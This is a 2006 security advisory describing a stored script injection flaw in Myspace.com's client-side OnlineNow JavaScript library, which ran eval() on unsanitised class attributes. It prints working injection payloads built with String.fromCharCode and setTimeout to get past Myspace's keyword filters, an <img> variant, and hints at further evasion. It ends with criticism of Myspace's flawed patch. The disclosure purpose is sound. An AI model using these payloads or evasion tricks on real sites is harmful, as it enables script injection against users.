Myspace.com - Intricate Script Injection
Original: http://www.silent-products.com/advisory4.5.06.txt
Myspace.com - Intricate Script Injection Vulnerability
Reported April 5th, 2006
Introduction
----------------
The following article details a real vulnerability within the major social
network Myspace.com. The seriousness of this script injection outweighs the
currently publically known LIVE holes in the social network in that it is
capable of being injected ANYWHERE HTML is enabled (mail messages, forums,
profiles); in contrast, vulnerabilities like where EMBED tags are NOT filtered
only in users profiles and HTML-comments, ect (as to say JavaSCRIPT is not
ok... but Java is).
The technical details of this article is beneficial not only in outlining the
serious state of social network insecurity at Myspace.com, but also as a very
rare excercise in different methods for client-side exploitation and
protection. The script injection vulnerability is not a normal, simplistic
incident of poor filters; instead it is a vulnerability within the code of
javascript libaries that allows malformed tag IDs to inject script. The
approach of the article is to detail the technicalities of the problem and how
one would go about to successfully manipulate and exploit the vulnerability
given a small quirk and a good bit of innovation.
Again I stress - this is NOT a case of poor input validation on the SERVERS
side, but within the client-side ran javascript libraries. This is an important
note as Myspace.com apparently did NOT realize this (nor would accept any
recommendation) and incorrectly patched the flaw. Details of the current state
of this vulnerability will be at the end of the article.
Script Injection Within the OnlineNow Mechanism
------------------------------------------------------------------------
The OnlineNow Mechanism:
Within almost every page on the website there are embedded scripts that define
the functions and objects necessary to dynamically provide online/offline
status of users on Myspace. Within the provided HTML there are specific <div>
tags that are to be handled by the functions. They are typically placed
underneath the picture of the "friend" and passes the specific friendID of the
the friend to the OnlineNow functions. An example of such a tag is as follows:
<div style="width: 80px; height: 20px;" id="UserDataNode0"
class="DataPoint=OnlineNow;UserID=17601323;"></div>
The ID of these tags follows the format of 'UserDataNodeN' - where the value of
N increases in sequential order from 0 to (the number of tags - 1). At the end
of the HTML the OnlineNow mechanism is called which finds all the tags, parses
out all the UserIDs specified in the class property and passes them to an
iframe which calls on a web-application that returns a true/false value
specifying whether that FriendID is found to be "online now". The flow of code
proceeds to then find all of these friendIDs that were found to be online and
set the DIV tag's innerHTML to display an image that shows the user is online
within the browser display.
The OnlineNow Vulnerability:
There is a script injection vulnerability within this mechanism specifically
found during the searching and parsing of the <div> tags. I will be extensively
referencing the function _OnlineNowNodeParser_locateNodes() found in
OnlineNowNodeParser.js. A copy of the function will be placed here for such
reference:
function _OnlineNowNodeParser_locateNodes()
{
var CurrentNode = null;
var i = 0;
while ((CurrentNode = document.getElementById("UserDataNode" + i)) != null)
{
NodeIndex = this.NodeArray.length;
this.NodeArray[NodeIndex] = new Object();
this.NodeArray[NodeIndex].NodeID = CurrentNode.id;
var Attributes = CurrentNode.className.split(";");
for (var AttributeIterator = 0; AttributeIterator < Attributes.length;
AttributeIterator++)
{
var Name = Attributes[AttributeIterator].split("=")[0];
var Value = Attributes[AttributeIterator].split("=")[1];
if (Name != "" && Value != "") eval("this.NodeArray[" + NodeIndex + "]." + Name
+ "=\"" + Value + "\";");
}
i++;
}
}
What is going on here is the function initiates a loop starting from i = 0
which checks for the existence of an element with an ID with the format
"UserDataNode" + i. It then splits the semicolon delimited class property and
extracts a Name and Value combination from the format Name=Value (i.e.
class="DataPoint=OnlineNow;UserID=17601323;" will create two Name and Value
variable combinations Datapoint & OnlineNow and UserID & 17601323). These
variables are then passed to an eval() function which creates the property of
the object this.NodeArray[i].Name and sets it to the Value (i.e.
eval('this.NodeArray[0].DataPoint="OnlineNow";'); There is no sanitization of
the variables 'Name' and 'Value' passed to the eval() function within the
locateNodes() function beyond that of semicolon and equal sign which is
consequence of the way the delimitation works. Most importantly - one can pass
quotes to the eval function and due to the nature of javascript one can execute
arbitrary functions. To show how this can be done in exploit consider the
following tag:
<div id="UserDataNode0"
class='UserID=17601323"+String.fromCharCode(59)+";'></div>
This will generate a call to the eval() function in the following manner:
eval('this.NodeArray[0].UserID="17601323"+String.fromCharCode(59)+"";')
Which one can easily see will set this.NodeArray[0].UserID to the value of
17601323; (the function String.fromCharCode(59) returns a semicolon). The
function specified is not limited to string-type functions, it would be valid
javascript being any function; however, without semicolons nor quotes there is
not a terrible amount one can do without any trick. It follows then that one
can call on an additional eval() function which uses the String.fromCharCode()
function to generate filtered characters. The following shows a line of
javascript that does exactly this.
The function -
String.fromCharCode(118,97,114,32,119,61,51,59,97,108,101,114,116,40,119
,41,59) returns the string "var w=3;alert(w);"
By compounding this with eval() as so:
eval(String.fromCharCode(118,97,114,32,119,61,51,59,97,108,101,114,116,4
0,119,41,59));
A variable 'w' will be defined with value 3 and a messagebox will display it's
value. The following tag - when passed to our locateNodes() function - will
execute the aforementioned line of code:
<div id="UserDataNode0"
class='UserID=17601323"+eval(String.fromCharCode(118,97,114,32,119,61,51
,59,97,108,101,114,116,40,119,41,59))+";'></div>
The string generated by fromCharCode(); can be any script the exploiter
specifies. It is composed only of numbers and commas so no filters affect it.
Our exploit is almost complete. One last obstacle remains in order to exploit
this script injection vulnerability. The web-application filters of Myspace
filter specific tags and words to hamper the possibility of script injection
(for example the <script> tag would be filtered). Among this extensive list of
filtered words - eval is one of them. If one tries to actually put the above
tag into Myspace the eval will be stripped out and the exploit will fail. We
require one last trick. The eval() function is not the only javascript function
that will evaluate a string as javascript code. A less-intuitive method is
using the setTimeout function which evaluates a string after a specified amount
of time has elapsed. setTimeout("expression",0); is nearly identical to
eval("expression"); in functionality (the difference being
in that the timer function has a seperate thread it executes in which is
important in considering race-type conditions) and is NOT filtered by Myspace.
The following tag when placed within the realms of Myspace will execute the line
document.location="http://www.google.com";; (the actual script to be injected
with this exploit is completely arbitrary and without limitations):
<div id="UserDataNode0"
class='UserID=17601323"+setTimeout(String.fromCharCode(100,111,99,117,10
9,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,
47,47,119,119,119,46,103,111,111,103,108,101,46,99,111,109,34,59),0)+";'
></div>
The only possible limitation to the script to be injected is field length -
which a knowing exploit-writer should have no problems subverting. The content
in this advisory is a little harder to swallow than your everyday bad filter
script-injection vulnerability, but should not be too big of a problem for
anyone with a history of working with javascript and web-application
vulnerabilities.
Additional Commentary On Exploit Development:
I'd like to make additional notes about exploit development. Even though I've
stuck with using the <div> element in describing the vulnerability and writing
the exploit - it should be apparent by those who look at the function that the
element is not found by the the type of tag but solely by the ID property
(using getElementByID). Knowing this - the exploit can use ANY element tag (not
<div> alone) for they only need to specify the ID as having the "UserDataNodeN"
tag. If Myspace were to start filtering <div> tags in the face of this
vulnerability - it would not correctly patch it. One can just as easily used
the allowed <img> tag to exploit the vulnerability like so:
<img id="UserDataNode0"
class='UserID=17601323"+setTimeout(String.fromCharCode(100,111,99,117,10
9,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,
47,47,119,119,119,46,103,111,111,103,108,101,46,99,111,109,34,59),0)+";'
src="blah.jpg">
I also expect that it is understood that there are other means (some probably
more efficient) for exploiting this vulnerability. For example - if the service
begins to filter out fromCharCode then one would just have to use another means
of encrypting/decrypting the data to pass the filters such as using unescape()
(which would give room to far more efficiency in regards to payload length).
The vulnerability is not within the WEB-APPLICATIONS filters, but instead in
the JAVASCRIPT APPLICATIONS filters. This is the point to be stressed in this
article in regards to the nature of the exploits. A proper patch would not
create anymore filters server-side on Myspace, but rather a change in the .js
library.
Conclusion and Overview
------------------------------------
The current described exploit will not work on Myspace.com to date; however,
the patch employed did not correctly address the issue as had been mentioned
earlier. Instead of fixing the flawed javascript function, Myspace incorporated
a filter on it's fields for UserDataNode. Any input with 'UserDataNode' is
replaced with a double dot. This leaves a vulnerable layer, but can hold up
assuming the servers filters can completely hold up with the input.
Unfourtnately, this is not the case and there are a good number of active, live
vulnerabilities within the social network and some for the specific ability to
circumvent filters that have been revealed with my own short auditing and
others being passed around in the underground community.
The security consciousness within Myspace.com appears to be poor to say to the
least. In my own experiences of trying to touchbase with the right people and
trying to work with them in strengthening security - my motions were not
accepted with any kindness most times and at others had not been acknowledged
at all. It would seem that very few people on staff have any degree of
understanding of the seriousness of vulnerabilities within a social network
that stores information on millions of people, with millions of active users,
and a huge YOUNG demographic - and any that do seem to make themselves out of
reach.
It is my own opinion that, esspecially amidst the attention they have been
getting in the media with predators using Myspace as a tool to target children
and incidents of child pornography found within the domain, they would have an
exceptional interest and concern for the security of it's users. If security
cannot be addressed within Myspace there are a great number of just as good
clones that provide more attention to this issue. Such alternatives as
Tagworld.com have been getting an increase in popularity due to its integrity
and better model. I do not know of reports in auditing Tagworld or others, but
it would be worth it to look into these alternatives to find a company that
could provide a social experience without providing a security threat.
Justin Lavoie
silentproducts@xxxxxxxxx